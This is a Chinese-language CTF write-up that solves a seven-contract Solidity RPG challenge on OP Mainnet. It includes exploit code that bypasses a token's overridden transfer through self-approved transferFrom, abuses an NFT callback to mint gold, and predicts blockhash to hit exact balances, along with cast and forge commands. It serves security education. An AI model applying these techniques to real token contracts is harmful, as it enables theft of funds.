Skip to content
On this page

S2C12: Conquer The Game (RPG Multi-Contract)

1. 问题

这是 Season 2 的最终 Boss — 一个由 7 个合约 组成的 RPG 游戏系统。玩家需要通过"征服游戏"来满足 mintFlag 的复杂验证链:

合约OP Mainnet 地址功能
Main (Challenge)0xac22A9b80bf87Cdb1f95efEb3F2A504f5039BE9d主挑战,包含 mintFlag
HeroNFT0x792ad60632A1A63DaDb14fEa9AC3c7FB944406C6ERC-721 英雄 NFT,可自定义 URI
GoldToken0x84710c7E262B09fa3aAF97F2741E7CE6Fb11A54bERC-20 金币,transfer 有特殊限制
Inventory0x5f90e8c1205C448b81Ca57cffdca39bc3b0B35f4背包系统,仅 owner (Main) 可修改
Quest0xc555ce58bAD74a2E0CD289aE23225a80bf47e7e3任务追踪
Dungeon0xd1A85e9e62387E8A4Ccb9baBab0Cd97d9E76B7de地牢位置,与 Quest 联动
Victory0x84503496E6ED4F68E84E4Ba6B4Fc5A4d4A4145d3胜利条件

2. 原因

合约系统存在以下关键漏洞:

2.1 GoldToken 的 transfer 限制可被 transferFrom 绕过

solidity
// GoldToken.transfer — 有 HeroNFT 和 Dungeon 检查
function transfer(address to, uint256 amount) public override returns (bool) {
    require(hero.balanceOf(msg.sender) > 0, "Insufficient NFT balance");
    require(hero.balanceOf(msg.sender) < dungeon.dungeon(tx.origin), "Wrong NFT balance");
    _transfer(msg.sender, to, amount);
    return true;
}
// GoldToken.transferFrom — 继承自 ERC20,无任何限制!
// 可以直接调用绕过所有 transfer 检查

关键洞察:覆写 transfer 不会自动保护 transferFrom。这是 OZ ERC-20 继承中的常见陷阱。

2.2 GoldToken 获取机制(onERC721Received 回调)

S2 NFTFlags 合约的 onERC721Received 函数在收到特定 NFT 时会 mint GoldToken:

solidity
function onERC721Received(address, address from, uint256 tokenId, bytes calldata data)
    external override returns (bytes4)
{
    uint256 anotherTokenId = _toUint256(data);  // ← 从 data 解码另一个 tokenId
    require(msg.sender == address(this));        // 只有 NFTFlags 自身可调用
    require(ownerOf(anotherTokenId) == from);     // from 必须拥有 S2C2 token
    require(tokenIdToChallengeId[anotherTokenId] == 2); // 验证 token 是 S2C2
    require(!tokensClaimed[tokenId]);             // 载体 token 未被领取
    safeTransferFrom(address(this), from, tokenId); // 载体 token 归还
    tokensClaimed[tokenId] = true;
    GoldContract(goldTokenAddress).mint(from);    // mint 1000e18 GoldToken!
}

双 Token 机制

  • tokenId (载体): 被转移到 NFTFlags 再归还,必须是发送者拥有的任意 S2 NFT
  • anotherTokenId (验证): 从 data 参数解码,必须是 S2C2 token (challengeId == 2),由 from 地址拥有,但不被转移

2.3 mintFlag 验证链分析

solidity
function mintFlag(uint256 tokenId) public winner rich {
    // 1. 拉取 1e18 GoldToken 从调用者到挑战合约
    gold.transferFrom(msg.sender, address(this), 1 ether);
    
    // 2. 从 HeroNFT URI 解析库存值
    uint256 inventoryValue = stringToUint(hero.tokenURI(tokenId));
    inventory.setValue(inventoryValue);  // 写入 inventory[tx.origin]
    
    // 3. 计算哈希
    bytes32 hash = keccak256(abi.encodePacked(
        blockhash(block.number - 1),     // 前一个区块哈希(交易内可预测)
        address(this),                    // 挑战合约地址
        inventory.inventory(tx.origin)    // 库存值
    ));
    
    // 4-8. 多重检查
    require(gold.balanceOf(msg.sender) == uint256(hash) % 100 ether); // 余额 = H
    require(balance == dungeon.getCurrentPosition());                 // 余额 = quest×dungeon
    require(gold.balanceOf(tx.origin) == gold.balanceOf(~tx.origin)); // 敌我余额相等
    require(gold.allowance(msg.sender, this) == inventory.inventory(tx.origin)); // allowance=库存
    
    nftContract.mint(tx.origin, 12);  // mint flag!
}

stringToUint 逻辑:

solidity
function stringToUint(string memory _s) public pure returns (uint256) {
    bytes memory b = bytes(_s);
    uint256 res = 0;
    for (uint256 i = 0; i < b.length; i++) {
        if (b[i] >= 0x30 && b[i] <= 0x39) {
            res = res * 10 + (uint256(uint8(b[i])) - 0x35); // 数字字符 → 数值
        } else {
            return 0;  // 非数字直接返回 0
        }
    }
    return res;
}

字符 '5' = 0x35 → 0x35 - 0x35 = 0。所以 URI 为 "5"inventoryValue = 0

2.4 完整解决方案架构

        NEW_WALLET          ORIGINAL_WALLET         S2C12_SOLUTION
            |                      |                      |
   S1C1 ──→ |                      |                      |
   S2C2 ──→ |  (获得 S2C2 token)   |                      |
            |                      |                      |
  safeTransferFrom ─→ GoldToken mint 1000e18              |
            |                      |                      |
  approve(Solution, max) ──────────|──────────────────→ |
            |                      |  solve(NEW_WALLET)  |
            |                      |──────────────────→ |
            |                      |    transferFrom(NEW → Solution)
            |                      |    mint HeroNFT("5")
            |                      |    fund complement(~ORIGINAL)
            |                      |    fund ORIGINAL
            |                      |    burn excess
            |                      |    dungeon/quest/victory setup
            |                      |    approve(challenge, 1e18)
            |                      |    challenge.mintFlag() ──→ 🏆

3. 方案

Step 1: 获取 GoldToken(需要 S2C2 token)

solidity
// 1. 确保拥有一个 S2C2 token (challengeId == 2)
// 2. 需要一个载体 token (任意其他 S2 NFT)

// 3. 调用 safeTransferFrom,将载体 token 发给 NFTFlags,data 中编码 S2C2 tokenId
//    载体 token 会被转回,S2C2 token 只做验证不转移
NFTFlags.safeTransferFrom(
    myAddress,       // from — 必须拥有 S2C2 token
    NFTFlags,        // to — NFTFlags 自身(触发 onERC721Received)
    carrierTokenId,  // 载体 token(任意 S2 NFT)
    abi.encode(s2c2TokenId)  // data = S2C2 tokenId
);
// → GoldToken mint 1000e18 到 from 地址

Step 2: 设置数值并计算目标余额

solidity
// 2a. 铸造 HeroNFT,URI = "5"(使 inventoryValue = 0)
uint256 heroTokenId = hero.mint("5");

// 2b. 计算目标余额 H
bytes32 hash = keccak256(abi.encodePacked(
    blockhash(block.number - 1),  // 前一区块哈希
    address(challenge),           // 挑战地址
    uint256(0)                    // inventoryValue = 0
));
uint256 H = uint256(hash) % 100 ether;

Step 3: 操纵 GoldToken 余额

solidity
// 使用 transferFrom 绕过 transfer 限制
gold.approve(address(this), type(uint256).max);  // 自授权
gold.transferFrom(goldSource, address(this), H + 1 ether + 2 ether);  // 拉取

// 分配余额
gold.transferFrom(address(this), address(~bytes20(tx.origin)), 1 ether); // 敌人
gold.transferFrom(address(this), tx.origin, 1 ether);                     // 玩家

// 精确余额 = H
uint256 currentBalance = gold.balanceOf(address(this));
if (currentBalance > H + 1 ether) {
    gold.burn(currentBalance - H - 1 ether);
}

Step 4: 设置游戏状态并执行

solidity
// 胜利条件
dungeon.setPosition(bytes32(uint256(1)));  // 设非零值
victory.free(true);                          // 标记胜利

// 地牢位置 = 余额 = H(使 balance == quest × dungeon)
quest.setCurrentQuest(1);
dungeon.setPosition(bytes32(H));

// 批准 challenge 消费 1 ether(消费后剩余 allowance = 0 = inventoryValue)
gold.approve(address(challenge), 1 ether);

// 执行!
challenge.mintFlag(heroTokenId);

4. 遇到的陷阱

陷阱 4.1: onERC721Received 的 tokenId vs anotherTokenId 混淆

现象: 使用 S2C2 token 作为载体 token 时,交易 revert "Not owner!"

根本原因: 对函数的 tokenId/anotherTokenId 角色理解错误。tokenId(载体)被 _safeTransfer 先转移,导致 ownerOf(tokenId) 变为新所有者。而 anotherTokenId(从 data 解码)不做转移,仅用于验证。

错误理解:anotherTokenId == tokenId(同一个 token 做两件事)
正确理解:anotherTokenId (验证) ≠ tokenId (载体)

陷阱 4.2: S2C2 token 意外转移至 NFTFlags

现象: 在实验过程中使用 transferFrom 将 S2C2 token 转到 NFTFlags 后,无法再触发 GoldToken mint。

错误操作:

bash
# 错误!将 S2C2 token 转给 NFTFlags
cast send $NFT_FLAGS "transferFrom(address,address,uint256)" \
  $EOA $NFT_FLAGS 94  # Token 94 = S2C2 token

后果:

  • Token 94 现在属于 NFTFlags,不属于原始 EOA
  • ownerOf(94) = NFTFlags,不等于 from (EOA)
  • onERC721Received 检查 ownerOf(anotherTokenId) == from 永远失败
  • 无法使用此 EOA 触发 GoldToken mint

陷阱 4.3: GoldToken transfer 限制

现象: 直接使用 gold.transfer() 给解题合约转账时 revert "Insufficient NFT balance"

原因: GoldToken 覆写了 transfer 要求调用者持有 HeroNFT 且余额小于 dungeon 值。

陷阱 4.4: transferFrom 需要自授权

现象: gold.transferFrom(address(this), target, amount) revert ERC20InsufficientAllowance

原因: ERC-20 的 transferFrom 要求 from 地址已授权 msg.sender(即调用者)。

陷阱 4.5: 新钱包需要 S1C1 注册

现象: 从新钱包调用 S2C2 时 revert "User address is not registered in Season 1"

原因: S2 NFTFlags 的 mint 函数检查 hasMinted[recipient][1](S1C1 注册状态)。

陷阱 4.6: forge create --broadcast 在 OP 上失败

与 S2C7 相同的 forge bug — 必须使用 forge script 部署合约。

5. 陷阱的原因

原因 5.1: ERC-721 _safeTransfer 的调用顺序

OpenZeppelin ERC-721 的 _safeTransfer 实现:

solidity
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
    _transfer(from, to, tokenId);                        // ① 先转移!
    _checkOnERC721Received(from, to, tokenId, data);     // ② 再回调
}

转移发生在回调之前。当 onERC721Received 执行时,tokenId(载体)的所有者已更新为 to(NFTFlags)。但 anotherTokenId(从 data 解码的验证 token)不受此影响。

原因 5.2: transferFrom 未覆写

Solidity 继承中,覆写 transfer 不影响 transferFrom

solidity
// GoldToken 只覆写了 transfer
function transfer(address to, uint256 amount) public override returns (bool) {
    // ... custom checks ...
}

// transferFrom 继承自 ERC20._transfer,无任何限制
// function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
//     _spendAllowance(from, msg.sender, amount);
//     _transfer(from, to, amount);  // 直接调用内部 _transfer,绕过 transfer 覆写
// }

核心教训:在 OZ 5.x 中应覆写 _update 而非 transfer,以确保所有 token 移动路径都被覆盖。

原因 5.3: 跨合约状态依赖

mintFlag 的 10 个检查跨越 6 个不同合约,任何一步参数计算错误都会导致整体回滚。

原因 5.4: blockhash 可预测性

blockhash(block.number - 1) 在交易执行时是已知且确定的。虽然看起来"随机",但在同一交易内是可计算的,不能作为安全随机源。

原因 5.5: onERC721Received 的 msg.sender 检查

NFTFlags 的 onERC721Received 要求 msg.sender == address(this)。这只有在以下情况才成立:

  • ERC-721 的 safeTransferFromto 设为 NFTFlags 自身
  • ERC-721 内部以 msg.sender = NFTFlags 的身份调用 IERC721Receiver(to).onERC721Received

任何直接外部调用都会失败,因为此时 msg.sender 是调用者而非 NFTFlags。

6. 如何解决

解决 6.1: 使用不同 token 做载体和验证

正确流程:

一个 S2C2 token (metadata=2) → 只做验证(anotherTokenId),不被转移
一个任意 S2 NFT → 做载体(tokenId),在 NFTFlags 和用户之间往返
bash
# 使用 token 104 (S2C2) 做验证,token 95 做载体
cast send $NFT_FLAGS \
  $(cast calldata "safeTransferFrom(address,address,uint256,bytes)" \
    $MY_ADDRESS $NFT_FLAGS 95 $(cast abi-encode "f(uint256)" 104))

解决 6.2: 丢失 S2C2 token 后重新获取

由于 S2C2 token 被转移至 NFTFlags 后无法取回,需要:

  1. 创建新钱包
  2. 新钱包完成 S1C1 注册
  3. 新钱包完成 S2C2(获取新的 S2C2 token)
  4. 转账载体 token 给新钱包
  5. 新钱包触发 GoldToken mint
  6. 新钱包 approve 解题合约
  7. 原钱包调用解题合约(使 tx.origin = 原钱包,flag mint 到原钱包)

解决 6.3: 使用 transferFrom 而非 transfer

solidity
// 错误:受 transfer 限制
gold.transfer(recipient, amount);

// 正确:通过自授权 + transferFrom 绕过
gold.approve(address(this), type(uint256).max);
gold.transferFrom(address(this), recipient, amount);

解决 6.4: 自授权的标准模式

solidity
// 在构造或初始化时自授权
function solve(address goldSource) external {
    // 必须首先自授权
    gold.approve(address(this), type(uint256).max);
    
    // 然后可以使用 transferFrom
    gold.transferFrom(goldSource, address(this), amount);
    gold.transferFrom(address(this), enemy, amount);
}

解决 6.5: 新钱包注册

bash
# 必须先完成 S1C1 注册
cast send $S1C1 "registerMe(string)" "name" --private-key $NEW_PK
# 然后才能完成 S2C2
cast send $S2C2 "mintFlag(bytes32)" $KEY --private-key $NEW_PK

解决 6.6: 使用 forge script

bash
forge script script/S2C12Deploy.s.sol:S2C12DeployScript \
  --rpc-url $RPC --private-key $PK --broadcast

7. 技术要点

7.1 Solidity / EVM

要点详细说明
ERC-20 transfer vs transferFrom覆写 transfer 不会保护 transferFrom。在 OZ 5.x 中应覆写 _update
blockhash 可预测性blockhash(block.number - 1) 在交易内是确定值,可用作"随机"源的攻击向量
stringToUint 编码字符减 0x35→'5'→0,利用此特性可设 inventoryValue=0 简化计算
自授权模式erc20.approve(address(this), max) + transferFrom(address(this), ...) 是绕过 transfer 限制的标准技术
onlyOwner 代理Inventory 的 setValueonlyOwner,但 owner 是 Main 合约 — Main 通过 mintFlag 间接写入 inventory

7.2 跨合约交互

要点详细说明
多合约 RPG 系统7 个合约协作,状态分布在多个地址间,需原子性操作
onERC721Received 回调ERC-721 的 safeTransferFrom 触发回调,msg.sender = ERC-721 合约本身
CREATE2 概念address(~bytes20(tx.origin)) 是 tx.origin 的位取反地址
Victory.winner 依赖需要 dungeon[tx.origin] > 0 才返回 true — 必须先设 dungeon
Dungeon.getCurrentPosition= quest[tx.origin] × dungeon[tx.origin] — 两个合约的联动

7.3 GoldToken 获取流程全解

前提条件:
  ├─ 一个 S2C2 token (challengeId=2,只验证不转移)
  └─ 一个载体 token (任意 S2 NFT,用于往返转移)

执行流程:
  1. safeTransferFrom(sender, NFTFlags, carrierId, abi.encode(s2c2Id))
     ├─ ERC-721: _transfer(sender, NFTFlags, carrierId)  [载体 → NFTFlags]
     └─ ERC-721: _checkOnERC721Received → NFTFlags.onERC721Received()
         ├─ anotherTokenId = decode(data) = s2c2Id
         ├─ msg.sender == address(this) ✓ (NFTFlags 自调)
         ├─ ownerOf(s2c2Id) == from ✓ (S2C2 token 未被转移)
         ├─ tokenIdToChallengeId[s2c2Id] == 2 ✓
         ├─ !tokensClaimed[carrierId] ✓
         ├─ safeTransferFrom(NFTFlags, sender, carrierId) [载体 → 返还]
         ├─ tokensClaimed[carrierId] = true
         └─ GoldToken.mint(sender) → 1000 × 10^18 GoldToken!

7.4 mintFlag 完整验证链

modifier winner():
  └─ Victory.winner() → dungeon[tx.origin] > 0 && victory[tx.origin]

modifier rich():
  └─ GoldToken.balanceOf(~tx.origin) >= 1e18

mintFlag(tokenId):
  ① transferFrom(msg.sender → this, 1e18)
  ② inventoryValue = stringToUint(heroNFT.tokenURI(tokenId))
  ③ inventory.setValue(inventoryValue) → inventory[tx.origin]
  ④ hash = keccak256(blockhash(block.number-1), this, inventory[tx.origin])
  ⑤ balance == hash % 100e18
  ⑥ balance == dungeon.getCurrentPosition() (= quest × dungeon)
  ⑦ balanceOf(tx.origin) == balanceOf(~tx.origin)
  ⑧ allowance(msg.sender, this) == inventory[tx.origin]
  → nftContract.mint(tx.origin, 12) 🏆

7.5 合约间依赖关系图

                   ┌──────────┐
                   │ NFTFlags │ (S2 NFT 管理)
                   └────┬─────┘
                        │ mint()
         ┌──────────────┼──────────────┐
         │              │              │
    ┌────▼─────┐  ┌────▼─────┐  ┌─────▼──────┐
    │ Main C12 │  │ HeroNFT  │  │ GoldToken  │
    │ (挑战主) │  │ (ERC721) │  │ (ERC20)    │
    └──┬──┬──┬─┘  └──────────┘  └──┬──┬──┬──┘
       │  │  │                      │  │  │
  ┌────▼┐ │  └──────────────┐       │  │  │
  │Inv. │ │                 │       │  │  │
  └─────┘ │  ┌────▼────┐  ┌─▼─────┐│  │  │
          │  │ Quest  │  │Dungeon││  │  │
          │  └────────┘  └──┬────┘│  │  │
          │                 │     │  │  │
          │            ┌────▼─────┴──┘  │
          │            │ Victory        │
          │            └───────────────┘

     ┌────▼─────┐
     │ S2C12 Flag│
     │ (token 105)│
     └──────────┘

7.6 核心代码位置

  • 解题合约: solutions/season2/Challenge12Solution.sol
  • 部署脚本: script/S2C12Deploy.s.sol
  • 参考源码: ByteAtATime/bg-ctf src/season2/Season2Challenge12.sol
  • NFTFlags 源码: ByteAtATime/bg-ctf src/season2/Season2NFTFlags.sol
  • GoldToken 获取交易: 0x812d16346b465996a26427a629ce8c2069830bc3fac4940f5d1b206cb8762cda
  • S2C12 完成交易: 0x9a3bfd2aa2d1597d36e1518087fe62b94148837f47cd2992de72a25e8fbef237
  • Flag Token ID: 0x69 (105)

一句话总结: ERC-20 的 transfer 覆写不保护 transferFrom,GoldToken 通过 NFT 回调机制获取,利用可预测的 blockhash 计算精确余额,在单个交易中原子性地满足 10 个分布式检查。

Built with AiAda